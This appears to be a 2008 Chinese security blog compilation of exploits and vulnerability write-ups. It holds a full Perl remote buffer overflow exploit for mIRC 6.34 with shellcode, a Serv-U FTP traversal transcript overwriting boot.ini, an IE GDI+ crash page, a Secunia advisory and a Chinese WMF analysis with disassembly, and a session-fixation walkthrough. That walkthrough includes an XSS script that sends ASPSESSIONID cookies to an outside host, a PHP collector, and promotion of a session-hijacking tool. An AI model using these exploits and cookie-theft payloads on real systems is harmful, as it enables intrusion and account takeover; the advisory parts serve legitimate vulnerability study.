QIMENG@NET@AN~SQL Injection Attack technology

Serv-U 7.2.0.1 Remote FTP File Replacement Vulnerability (auth)

#Serv-U 7.2.0.1 ftp file replacement
#user must have upload permissions
#
#(x) dmnt 2008-10-01
220 Serv-U FTP Server v7.2 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
rnfr any_exist_file.ext
350 File or directory exists, ready for destination name.
rnto ..\..\..\boot.ini
250 RNTO command successful.
#boot.ini rewrited

# milw0rm.com [2008-10-03]

mIRC 6.34 Remote Buffer Overflow Exploit

#!/usr/bin/perl
#
#
# mIRC 6.34 Remote Buffer Overflow Exploit
# Exploit by SkD (skdrat <at> hotmail <.> com)
# ----------------------------------------
# A day's work of debugging and looking at mIRC.
#
# Tested on Windows XP SP3 English and Windows Vista SP0.
#
# Credits to securfrog for publishing the PoC.
#
# Author has no responsibility over the damage you do with this!
#
# Note: You might change the addresses for Vista ;)
#
# ----------------------------------------

use IO::Socket;

if(!($ARGV[1]))
{
print "\n[x] mIRC 6.34 Remote Buffer Overflow Exploit\n";
print "[x] Exploit by SkD (skdrat@ hotmail.com)\n\n";
print "[x] Use: mirc_exp.pl <port> <OS = 1 for XP Sp3 AND 2 for Vista SP0>\n[x] Example: mirc_exp.pl 6667 0\n\n";
exit;
}

while(1)
{

my $sock=new IO::Socket::INET (
Listen => 1,

LocalAddr => '127.0.0.1',

LocalPort => $ARGV[0],

Proto => 'tcp');

die unless $sock;

# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x2b\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
"\x95\x97\xf1\x83\xeb\xfc\xe2\xf4\xe2\x7d\xd3\xf1\x1e\x95\x1c\xb4".
"\x22\x1e\xeb\xf4\x66\x94\x78\x7a\x51\x8d\x1c\xae\x3e\x94\x7c\xb8".
"\x95\xa1\x1c\xf0\xf0\xa4\x57\x68\xb2\x11\x57\x85\x19\x54\x5d\xfc".
"\x1f\x57\x7c\x05\x25\xc1\xb3\xf5\x6b\x70\x1c\xae\x3a\x94\x7c\x97".
"\x95\x99\xdc\x7a\x41\x89\x96\x1a\x95\x89\x1c\xf0\xf5\x1c\xcb\xd5".
"\x1a\x56\xa6\x31\x7a\x1e\xd7\xc1\x9b\x55\xef\xfd\x95\xd5\x9b\x7a".
"\x6e\x89\x3a\x7a\x76\x9d\x7c\xf8\x95\x15\x27\xf1\x1e\x95\x1c\x99".
"\x22\xca\xa6\x07\x7e\xc3\x1e\x09\x9d\x55\xec\xa1\x76\x65\x1d\xf5".
"\x41\xfd\x0f\x0f\x94\x9b\xc0\x0e\xf9\xf6\xf6\x9d\x7d\x95\x97\xf1";

print "[x] Listening on port ".$ARGV[0]."..\r\n";
$s=$sock->accept();
print "[x] Got a user!\r\n";
$overflow = "\x41" x 307;
$overflow2 = "B" x 12;
$eip_vista = "\x66\x1c\xc2\x76"; #Normaliz.DLL pop pop ret
$eip2_vista = "\xd3\xdb\x54\x77"; #MSFCT.DLL jmp esp
$eip_xpsp3 = "\xd1\xfb\x92\x77"; #SETUPAPI.DLL 0x7792FBD1 pop eax pop ret
$eip2_xpsp3 = "\xb7\x87\x9d\x77"; #SETUPAPI.DLL 0x779D87B7 jmp esp
$addr = "\xb5\xb5\xfd\x7f";
$nop_sled = "\x90" x 4;
$jmp = "\xEB\x03\xFF\xFF";

print "[x] Sending packets..\r\n";

print $s ":my_irc_server.com 001 wow :Welcome to the Internet Relay Network wow\r\n";
sleep(1);
if($ARGV[1] == "1"){
print $s ":".$overflow.$eip_xpsp3.$addr.$nop_sled.$eip2_xpsp3.$nop_sled.$overflow2.$jmp.$nop_sled.$shellcode.$nop_sled." PRIVMSG wow : /FINGER wow.\r\n";
}else{
print $s ":".$overflow.$eip_vista.$addr.$nop_sled.$eip2_vista.$nop_sled.$overflow2.$jmp.$nop_sled.$shellcode.$nop_sled." PRIVMSG wow : /FINGER wow.\r\n";
}
print "[x] Check it out!\r\n";
}

# milw0rm.com [2008-10-04]

MS Internet Explorer GDI+ Proof of Concept (MS08-052)

MS Internet Explorer GDI+ Proof of Concept (MS08-052)

<html>
<head>
<STYLE>
ef\:* { behavior: url(#default#VML); }
</STYLE>
</head>

<body>

<pre>
================================================
MS08-052: GDI+ Vulnerability
------------------------------------------------
Operating System: XP SP2
Internet Explorer Version: 6.0.2900.2180
Gdiplus.dll Version: 5.1.3102.2180

Credit:
John Smith,
Evil Fingers

Link: http://www.evilfingers.com/patchTuesday/MS08_052_GDI+_Vulnerability.txt
================================================
</pre>

<XML:NAMESPACE ns="urn:schemas-microsoft-com:vml" prefix="ef">

<ef:oval style='left: 500; top: 500; width: 500px; height: 500px;' fill="true" id='ef_oval'>
<ef:fill type="gradientCenter";></ef:fill>
</ef:oval>

<script>
var focus_size = "-5, -4";
var focus_pos = ".1, .1";
var ef_oval = document.getElementById('ef_oval');

ef_oval.fill.focussize = focus_size;
ef_oval.fill.focusposition = focus_pos;
</script>
</body>
</html>

Microsoft GDI+ WMF PolyPolygon Record Parsing Integer Overflow

SA31675 / CVE-2008-3014
Generated by Secunia
10 September, 2008
5 pages
SA31675 / CVE-2008-3014
Table of Contents
Introduction 2
Technical Details 2
Exploitation 4
Characteristics 4
Tested Versions 4
Fixed Versions 5
References 5
Generated by Secunia 10 September, 2008 Page 1 of 5
SA31675 / CVE-2008-3014
Introduction:
=============
An integer overflow in Microsoft GDI+ during the processing of PolyPolygon records in
WMF files can be exploited by malicious people to potentially compromise a user's
system.
Technical Details:
==================
According to Microsoft, the Windows GDI+ "...provides two-dimensional vector graphics,
imaging, and typography." Implemented in GDIPLUS.DLL, it contains support for parsing,
among other formats, Windows Metafiles (WMF). Records in a WMF file are identified by
16-bit types documented by Microsoft.
An integer overflow when calculating the memory required for a PolyPolygon WMF record
(type 0x0538) can be exploited to cause a heap-based buffer overflow and may potentially
allow arbitrary code execution.
When parsing a WMF file with the GDI+ API, WmfEnumState::ProcessRecord() is called to
process each record. WmfEnumState::PolyPolygon() is called in the case of record type
0x0538 (PolyPolygon).

...

.text:4ECD7C69 loc_4ECD7C69: ; CODE XREF: WmfEnumState::ProcessRecord(EmfPlusRecordType,uint,uchar const *)+BC

.text:4ECD7C69 mov ecx, 10538h

.text:4ECD7C6E cmp eax, ecx

.text:4ECD7C70 jg loc_4ECD7D8B

.text:4ECD7C76 jz loc_4ECD7D7F

...

.text:4ECD7D7F loc_4ECD7D7F: ; CODE XREF: WmfEnumState::ProcessRecord(EmfPlusRecordType,uint,uchar const *)+288

.text:4ECD7D7F mov ecx, esi

.text:4ECD7D81 call ?PolyPolygon@WmfEnumState@@QAEXXZ ; WmfEnumState::PolyPolygon(void)

In ::PolyPolygon(), a pointer to the content of the PolyPolygon record is retrieved and
the first 16-bit parameter read, which indicates the number of polygons specified.

.text:4ECD5E2A ; public: void __thiscall WmfEnumState::PolyPolygon(void)

.text:4ECD5E2A ?PolyPolygon@WmfEnumState@@QAEXXZ proc near

.text:4ECD5E2A ; CODE XREF: WmfEnumState::ProcessRecord(EmfPlusRecordType,uint,uchar const *)+393

.text:4ECD5E2A

.text:4ECD5E2A var_8 = dword ptr -8

.text:4ECD5E2A iTotalPoints = dword ptr -4

.text:4ECD5E2A

.text:4ECD5E2A mov edi, edi

.text:4ECD5E2C push ebp

.text:4ECD5E2D mov ebp, esp

.text:4ECD5E2F push ecx

.text:4ECD5E30 push ecx

.text:4ECD5E31 and [ebp+iTotalPoints], 0

.text:4ECD5E35 push esi

.text:4ECD5E36 mov esi, ecx

.text:4ECD5E38 mov eax, [esi+5Ch] ; pointer to record parameters

.text:4ECD5E3B push edi

.text:4ECD5E3C movzx edi, [eax+PolyPolygon.NumberOfPolygons]

.text:4ECD5E3F test edi, edi

.text:4ECD5E41 jbe short loc_4ECD5E53 ; zero polygons?

If the number of polygons is non-zero, then a loop reads that number of 16-bit words
each specifying the number of points in that polygon. A running total is kept of the
total number of points in all the polygons.
Generated by Secunia 10 September, 2008 Page 2 of 5
SA31675 / CVE-2008-3014

.text:4ECD5E43 add eax, 2 ; skip to array aPointsPerPolygon

.text:4ECD5E46 mov ecx, edi

.text:4ECD5E48

.text:4ECD5E48 @loop_read_aPointsPerPolygon: ; CODE XREF: WmfEnumState::PolyPolygon(void)+27

.text:4ECD5E48 movzx edx, word ptr [eax] ; PointsPerPolygon

.text:4ECD5E4B add [ebp+iTotalPoints], edx

.text:4ECD5E4E inc eax

.text:4ECD5E4F inc eax

.text:4ECD5E50 dec ecx

.text:4ECD5E51 jnz short @loop_read_aPointsPerPolygon

The size required to store the points (two 32-bit values each) plus the array of polygon
point counts (one 32-bit value each) is calculated. An integer overflow may occur in
these operations, but there is no check for it. The resulting size is passed to
::createRecordTomodify() to allocate a new blank record.

.text:4ECD5E53 mov eax, [ebp+iTotalPoints]

.text:4ECD5E56 lea eax, [edi+eax*2] ; num polygons + 2 * num points

.text:4ECD5E59 shl eax, 2 ; *4

.text:4ECD5E5C push eax

.text:4ECD5E5D mov ecx, esi

.text:4ECD5E5F call ?createRecordTomodify@MfEnumState@@IAEHH@Z ; MfEnumState::createRecordTomodify(int)

::createRecordTomodify() treats the size passed to it as a signed integer. If the value
is negative, it instead uses the size of the WMF record from the record header.

.text:4ECD5406 ; protected: int __thiscall MfEnumState::createRecordTomodify(int)

.text:4ECD5406 ?createRecordTomodify@MfEnumState@@IAEHH@Z proc near

.text:4ECD5406 ; CODE XREF: EmfEnumState::createCopyOfCurrentRecord(void)+1D

.text:4ECD5406 ; EmfEnumState::createModifiedDib(tagBITMAPINFOHEADER *,uchar *,uint &,ulong)+85 ...

.text:4ECD5406

.text:4ECD5406 iSize = dword ptr 8

.text:4ECD5406

.text:4ECD5406 mov edi, edi

.text:4ECD5408 push ebp

.text:4ECD5409 mov ebp, esp

.text:4ECD540B cmp [ebp+iSize], 0

.text:4ECD540F push esi

.text:4ECD5410 mov esi, ecx

.text:4ECD5412 jg short loc_4ECD541C ; positive, non-zero size?

.text:4ECD5414 mov eax, [esi]

.text:4ECD5416 call dword ptr [eax+0Ch] ; gdiplus.4ECD59D4 - WmfEnumState::GetCurrentRecordSize()

.text:4ECD5419 mov [ebp+iSize], eax ; use the size taken from the WMF record header

If the size is less than 2048 bytes, a pointer to a pre-allocated buffer is returned,
otherwise a buffer is allocated using HeapAlloc() (not shown in disassembly). If the
calculated requested size resulted in a negative value or the calculation overflowed,
then an under-sized buffer may be allocated.
The WMF file data is then copied into the newly allocated structure. First, a loop reads
the 16-bit point counts for each polygon, zero-extends it to 32 bits, and writes it to
the new buffer. If an under-sized buffer was allocated, this may result in writing data
past the end of the buffer.

.text:4ECD5E68 mov ecx, [esi+98h] ; pointer to new Record

.text:4ECD5E6E lea edx, [ecx+edi*4] ; pointer into new Record past aPointsPerPolygon

.text:4ECD5E71 xor eax, eax

.text:4ECD5E73 test edi, edi

.text:4ECD5E75 push ebx

.text:4ECD5E76 mov [ebp+lpPoints], edx

.text:4ECD5E79 jbe short loc_4ECD5E8B ; zero polygons?

.text:4ECD5E7B

.text:4ECD5E7B @loop_copy_aPointsPerPolygon: ; CODE XREF: WmfEnumState::PolyPolygon(void)+5F

.text:4ECD5E7B mov ebx, [esi+5Ch] ; pointer to source record

.text:4ECD5E7E movzx ebx, word ptr [ebx+eax*2+2] ; entry in aPointsPerPolygon array

.text:4ECD5E83 mov [ecx+eax*4], ebx ; write to destination record

.text:4ECD5E86 inc eax

.text:4ECD5E87 cmp eax, edi

.text:4ECD5E89 jb short @loop_copy_aPointsPerPolygon ; more polygons?

Generated by Secunia 10 September, 2008 Page 3 of 5
SA31675 / CVE-2008-3014
Next, another loop copies all the actual points into the new structure. Each point
consists of two 16-bit values, which are sign-extended to 32-bits before writing. Again,
if an under-sized buffer was allocated, this loop will overflow the buffer.

.text:4ECD5E8B mov ebx, [ebp+iTotalPoints]

.text:4ECD5E8E test ebx, ebx

.text:4ECD5E90 mov eax, [esi+5Ch] ; pointer to source record

.text:4ECD5E93 lea eax, [eax+edi*2+2] ; start of points array

.text:4ECD5E97 jbe short loc_4ECD5EB3 ; zero points?

.text:4ECD5E99 mov [ebp+iTotalPoints], ebx

.text:4ECD5E9C

.text:4ECD5E9C @loop_copy_points: ; CODE XREF: WmfEnumState::PolyPolygon(void)+87

.text:4ECD5E9C movsx ebx, word ptr [eax]

.text:4ECD5E9F mov [edx], ebx

.text:4ECD5EA1 movsx ebx, word ptr [eax+2]

.text:4ECD5EA5 mov [edx+4], ebx

.text:4ECD5EA8 add edx, 8 ; skip to next point in destination

.text:4ECD5EAB add eax, 4 ; skip to next point in source

.text:4ECD5EAE dec [ebp+iTotalPoints]

.text:4ECD5EB1 jnz short @loop_copy_points ; more points?

Exploitation:
=============
The integer overflow can be triggered via a WMF file containing a specially crafted
PolyPolygon record that specifies an overly large number of points. Attacker-controlled
data will be written past the end of an under-sized heap buffer, ultimately triggering
an access violation that will be handled by an exception handler.
The data written beyond the end of the allocated buffer is influenced by the attacker,
but only the lower 16-bits of each 32-bit word can be controlled and the upper bits will
be either all zeroes or all ones. As the attacker cannot specify a usable address, it
appears unlikely that code execution would be possible, however, it cannot be completely
ruled out.
Secunia Research has developed a PoC for the vulnerability. This is available to
customers on Secunia Proof of Concept and Exploit Code Services.
Characteristics:
================
Detection:
Look for a WMF file containing a PolyPolygon record (type 0x0538) where four times the
number of polygons plus eight times the total number of points would exceed 0x7FFFFFFF.
Verification:
create a WMF file containing a PolyPolygon record (type 0x0538) with a count of 8192
polygons each specifying 65535 points. When viewed by an application utilising a
vulnerable version of GDI+, heap corruption will cause the process to terminate.
Identification:
Please see the Microsoft security bulletin for a list of affected versions. GDIPLUS.DLL
is installed in a subfolder of "%WinDir%\WinSxS\".
Generated by Secunia 10 September, 2008 Page 4 of 5
SA31675 / CVE-2008-3014
Tested Versions:
================
The vulnerability was analysed on Windows XP SP2 with GDIPLUS.DLL version 5.1.3102.2180.
Fixed Versions:
===============
The vulnerability is patched in the fixes released with MS08-52 by checking for
overflows when calculating the required size.
References:
===========
SA31675:
http://secunia.com/advisories/31675/
CVE-2008-3014:
http://secunia.com/cve_reference/CVE-2008-3014/
MS08-052 (KB954593, KB938464):
http://www.microsoft.com/technet/security/Bulletin/MS08-052.mspx
Generated by Secunia 10 September, 2008 Page 5 of 5

Session Fixation 攻防实战

PS：Session攻击活生生的例子啊。

By:空虚浪子心

【IT168 专稿】最近笔者在网上看到一个新文章《JSESSIONID Regeneration in Struts 2》，讲的是一段代码，在STRUTS 2框架中，防御Session Fixation攻击。笔者比较老土，看不懂英文，还好能看懂代码，发现这是一种平时开发中(至少自己是这样)，从来没注意过的攻击。关于这种攻击，刺在自己博客上写了篇文章《关于Session Fixation》。我在邮件列表，和文章后面跟帖讨论了下，但是仍然感觉自己说的不是很清晰，毕竟没有实战，所以实践了一下自己的想法，重新写篇文章补充下。注：为了保证质量，本文假设读者对cookie和session基本概念和特性已经掌握。

　　作者是从防御代码中，发现这种攻击的存在，所以，我们先看防御的代码：
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
if(userid.equals("admin") && password.equals("admin")) {
request.getSession().invalidate();
HttpSession session = request.getSession(true);
session.setAttribute("AUTHENTICATED", new Boolean(true));
response.sendRedirect("PageRequiringAuthentication.jsp");
//Additional Code Would Normally Follow
　这是一个很常见的登录过程，首先验证用户名密码是否正确，正确后，干掉当前session。然后重新获取一个新session，继续执行赋予用户管理权限。关键就是，这段代码干掉了当前的session。当服务器和客户端之间的session销毁时，因为客户端仍然向服务器发送数据，所以服务器会自动的新生成一个session。为什么以前的session不能用呢？

　　在作者刚看到邮件的时候，一直看不明白，因为站在程序员的角度，作者不知道为啥非要让session销毁了。如果不消毁session，程序一样正确执行，攻击者不知道管理员密码，一样进不来。如果这个人知道管理员密码，那么对于程序本身来说，这个人就已经是一个程序所期望的管理员了。但是换个角度想一下，管理员在管理网站的时候，通常都做些什么？在管理员登陆前，他还只是一个普通的浏览者，会去浏览一些公开页面，他可能在哪里发现了问题，需要进后台处理一下，于是他就登录了。就在这个很普通的过程中，如果程序没有在认证成功后，销毁session，则管理员在登录前和登录后，session是同一个。假设我们能够在前台，使用了XSS一类手段，获得了这个 session，等他一旦登录，就"野鸡变凤凰"了。

　　在以往的XSS攻击、CSRF攻击中，我们总是把目光放在管理员登陆后，XSS 他、CSRF他。都没有想过，如果管理员登陆后，不浏览XSS页面，怎么攻击？看到这段防御代码，作者突然想到了一种攻击手段，只要管理员曾经浏览过 XSS页面（这时候只是普通用户），就能在他登录后，即使不再浏览XSS页面，也能攻击到。

　　为了详细的描述和重现这种攻击方式，作者特意下载了动网BBS 8最新版本。首先做两个实验，来验证动网是否存在这个漏洞：

　　1、在登录前，查看自己的SESSIONID，管理员前台登录后，再查看SESSIONID，登录后台，再查看。发现这个值没有变动。就是说动网存在这个漏洞，登录前后，SESSIONID没有变。

　　2、为了保证实验成功，需要知道动网的后台是否仅仅通过SESSION来验证身份。登录后，抓包。修改包中的信息，修改username，提交，返回数据表明可以同过。再修改SESSIONID，却出现"本页面为管理员专。。。"字样，没有通过认证。这说明动网后台是仅仅通过session验证的，而不是cookie。

　　证明了这个漏洞的存在，下面就利用这个漏洞，攻击登录前的管理员。动网论坛的用户身份模式，可以很好的诠释这种攻击，用过动网的读者都知道，浏览动网的用户分为以下几种级别："未注册用户"、"注册用户"、"前台管理员"、"后台管理员"。我们先架设好攻击环境，之后让一个未登陆的管理员，浏览论坛的XSS页面，之后登录到后台。

　　总体来看，利用这样的漏洞，需要以下一些东西：

　　1、a.php，一个脚本，用来接收XSS页面传来的SESSIONID，然后保存在haha.txt，可以放在任何一个支持php的空间里。

　　2、go.py，没隔5秒，请求一次haha.txt，获得SESSIONID值。之后把获得的SESSIONID值放入请求的COOKIE中，请求后台页面的"添加管理员功能"。

　　3、一个前台的XSS漏洞，这个漏洞我们自己可以构造出来。

　　作者为了仅仅说明这个问题，而不是大量的制造攻击，所以单独为动网写了个对应的脚本，go.py这个脚本，请求了动网后台的"添加管理员功能 "。他会一直去请求，不管管理员有没有登录，在登录前，会收到"本页面为管理员专。。。"字样。但是管理员一旦登录，就会请求成功这个功能。

　　下图可以说明这次模拟实验：

Image: http://www.neeao.com/blog/attachments/200809/19_151241_1.jpg

第一步。首先架设好辅助攻击的服务器，服务器中有两个文件，一个是a.php。这个文件用来接收XSS发来的SESSIONID信息，然后保存为haha.txt。

　　第二步。执行go.py。这个文件会每隔5秒，请求一次haha.txt，读取其中的数据，解析为对应的SESSIONID，把SESSIONID放在发动包的COOKIE中，之后请求一次"添加管理员"这个功能。

　　管理员登录后台之后，SESSIONID就会成为了一个可以通过论坛验证的SESSIONID，这时候的请求会成为合法请求，登录之前的请求，全都是垃圾数据。在整个过程中，我们要求管理员在登录前浏览一次XSS页面，然后登陆。登录后，大概15秒的时候，就可以退出了。这点时间，我们的攻击，已经成功。

　　请注意，这次攻击的演示中，重点不是动网出现了XSS漏洞，而是Session Fixation，所以我们在前台假设他出现了XSS漏洞。制造这个漏洞很简单，论坛后台有个给版面加"本版版规"的功能，支持HTML。把XSS的内容放这里：
1. <script>url0="";url1="";cv=document.cookie.split("; ");for(i=0; i<cv.length; i++){cvv=cv[i].split("=");if(cvv[0].indexOf("ASPSESSIONID")>-1){cvtmp=cv[i];cvvtmp=cvtmp.split("=");url0=cvvtmp[0];url1=cvvtmp[1];}};function f(){ifm=document.createElement("IFRAME");document.body.appendChild(ifm);ifm.src="http://safe.it168.com/a.php?id="+url0+"&value="+url1;}setTimeout(f,"1000");</script>
　用于提交SESSIONID到a.php。下面是一个COOKIE的内容：

Image: http://www.neeao.com/blog/attachments/200809/19_151318_2.jpg

请注意图片中的"ASPSESSIONIDASQCSSRT=PIMHLBHCDAPCDLMNLFBGHCIB"这部分，这里就是一个 SESSIONID和它的值。不仅仅是每次新的SESSIONID的值不一样，"ASPSESSIONIDASQCSSRT"这个KEY的名字，也是不同名称的。但是他逃脱不了一种模式，就是SESSIONID的名字，改来改去，总要让服务器认识。结合几次抓包内容，发现，这个字符串没有固定的名称，也没有固定的值，但是他总是以"ASPSESSIONID"开头。所以才会有了这段生涩难解的XSS代码。

　　php代码，用于接收提交过来的SESSIONID，保存：
1. <?php
2. $fp = fopen("haha.txt","wb");
3. fwrite($fp,$_GET["id"].",".$_GET["value"],strlen($_GET["id"].",".$_GET["value"]));
4. fclose($fp);
5. ?>
下面先执行go.py。

　　可以看到代码一直在执行"添加管理员这个过程"，并且一直不能通过验证。

　　现在先浏览下XSS页面，查看那个有XSS的版面。先让程序获得SESSIONID，注意，还没有登录。

Image: http://www.neeao.com/blog/attachments/200809/19_151421_3.jpg

和前次不同的是，我们获取了sessionid。但是这个SESSIONID还没有通过验证，管理员还没有登录。之后使用管理员登录后台。

Image: http://www.neeao.com/blog/attachments/200809/19_151437_4.jpg
这张图，出现了提示信息"您输入的用户名已经在管理用户中存在!"，说明已经可以通过验证了，攻击成功。

　　可能有很多读者在本次攻击过程中想到了SESSION IE这个工具，该工具也可以获得管理员的SESSIONID，并且通过不断的访问，维持这个SESSIONID不被销毁。与之区别的是，如果管理员登录后，自己点了"退出"。那么这个维持中SESSIONID就没用了，除非你能在他没点退出之间，做了添加管理员操作，期待该工具更新本文所提功能。而这次的攻击过程中，即使管理员退出了，我们攻击也早就在管理员登陆的那一刹那间，攻击成功。Session Fixation最大的威胁，就是在登录前的XSS能一直威胁到了管理员登录，即使管理员登录后不再访问XSS页面，也不影响攻击效果。

　　工具go.py在这里提供下载，但是注意一点，这个工具，不是一个多线程的。实验的时候可以用，如果用于做坏事，除非修改它的代码，否则每一个看到 XSS页面的人，都会提交SESSIONID上去，导致攻击失败。为了网络和谐，作者就不提供真正用于攻击的代码了，大家回去后自己研究。

MS08-052 WMF漏洞分析及漏洞测试

------by CuteK

一背景知识

由文件格式入手,来分析MS08-052漏洞, 并构造了一个可以使没有补丁的程序崩溃的图片,

1 WMF文件结构

--------------------------|

| 文件头 |

|-------------------------|

| 文件记录 |

|-------------------------|

|-------------------------|

| 文件记录 |

|-------------------------|

|-------------------------|

| 文件记录 |

|-------------------------|

windows中文件头结构如下

typedef struct
{
INT16 Left;
INT16 Top;
INT16 Right;
INT16 Bottom;
} PWMFRect16;

typedef struct
{
UINT32 Key; // GDIP_WMF_PLACEABLEKEY
INT16 Hmf; // Metafile HANDLE number (always 0)
PWMFRect16 BoundingBox; // Coordinates in metafile units
INT16 Inch; // Number of metafile units per inch
UINT32 Reserved; // Reserved (always 0)
INT16 Checksum; // Checksum value for previous 10 WORDs
} WmfPlaceableFileHeader;

typedef struct tagMETAHEADER
{
WORD mtType; // 01 磁盘
WORD mtHeaderSize; // 0x0009 头大小9个word
WORD mtVersion;
DWORD mtSize; // 不算WmfPlaceableFileHeader头的文件大小
WORD mtNoObjects;
DWORD mtMaxRecord;
WORD mtNoParameters;
} METAHEADER;

Image: http://hiphotos.baidu.com/antivirusboy/pic/item/831c0a08d536e38c0a7b820c.jpg
图 1.1 文件头

文件记录由文件记录大小(4字节) 文件记录类型(2字节) 文件记录体组成,其中0x0538类型是polypolygon类型,正是对这个记录的处理不当导致的溢出, 该记录的结构如下

记录大小

记录类型

polygon个数(假设为x)

第1个polygon的点数(y个) 第2个polygon点数 ....第x个polygon的点数 .

第1个polygon的第1个点第1个polygon的第2个点....第1个polygon的第y个点

...............

第x个polygon的第1个点 .................................第x个polygon的最后1个点

由图1.2看出该记录的大小为0x73个word长度. 该记录类型是0x0538 该记录中polygon的个数为1 , polygon的点数为0x37, 后面0x37个word长度的数据就是该polygon的点. 想要读取该记录则要先分配空间,但并不是根据0x73来分配的,而是根据polygon的个数,及每个polygon的点数相加来分配空间.

Image: http://hiphotos.baidu.com/antivirusboy/pic/item/82cebb1f11736913304e151a.jpg

图 1.2 polypolygon记录

二漏洞部分代码

Image: http://hiphotos.baidu.com/antivirusboy/pic/item/2048f51977d74d5c43a9ad2f.jpg
图2.1 具有漏洞的代码

Image: http://hiphotos.baidu.com/antivirusboy/pic/item/61e6bded3f71f95678f05528.jpg

图2.2 微软修补后的代码

除了判断是否小于0 还有判断是否加过了溢出了

三 WMF文件构造

构造了一个wmf文件polypoygon记录, 用极大的polygon个数和每个polygon的点数都很大, 使其计算达到整数溢出,使用没有补丁的gdiplus的程序查看该文件,就可以直接崩溃, 测试图片连接http://bbs.antiy.cn/viewthread.php?tid=1087&extra=page%3D1&frombbs=1 无木马. 呵呵

Image: http://hiphotos.baidu.com/antivirusboy/pic/item/1f37805c12dbaa5afaf2c07e.jpg
四解决方案

有漏洞的赶快打补丁吧

http://www.antiy.com/cn/download/agdifix.htm

五总结

图形文件格式是由很多"段"构成的数据流，而每个段由:长度, 类型,参数，数据等结构构成，在程序解析这些文件格式的时候会依据"类型"来确认段，并读取参数" 进行一定的运算，再依据这些参数来处理随后紧跟的"数据"。漏洞的产生原因就是在对参数进行运算的时候相信了文件输入的参数没有进行确认而导致的。除了图形文件格式外excel的biff格式也是一样的由段的头决定后续数据的读取，且有可变数据对象。有输入就有危险.

六参考文献

[1] GDI+ 中的漏洞可能允许远程执行代码 ( http://www.microsoft.com/china/technet/security/bulletin/MS08-052.mspx

[2] Microsoft GDI+ WMF PolyPolygon Record Parsing Integer Overflow http://secunia.com/binary_analysis/sample_analysis/ 2008

[3] Wmf http://download.microsoft.com/download/0/B/E/0BE8BDD7-E5E8-422A-ABFD-4342ED7AD886/WindowsMetafileFormat(wmf)Specification.pdf 2008

SessionIE3.31 +操作手册+演示

又更新了了
3.1 版本更新 2008年9月27日
1.增加预定义动作，即获得session后执行预定义的httprequest；
2.增加BUgReport
3.增加手动开始和停止按钮
4.界面和部分细节调整

Image: http://www.neeao.com/blog/attachments/200809/27_004208_1.jpg.bmp

操作手册地址
http://www.cncert.net/sessionie/document.html

新功能在在空虚浪子心的《Session Fixation 攻防实战》演示动画地址
http://www.cncert.net/up_files/soft/sessionie.html

下载地址：
http://www.cncert.net/up_files/soft/sessionie3.10.rar

本版本感谢空虚浪子心提供建议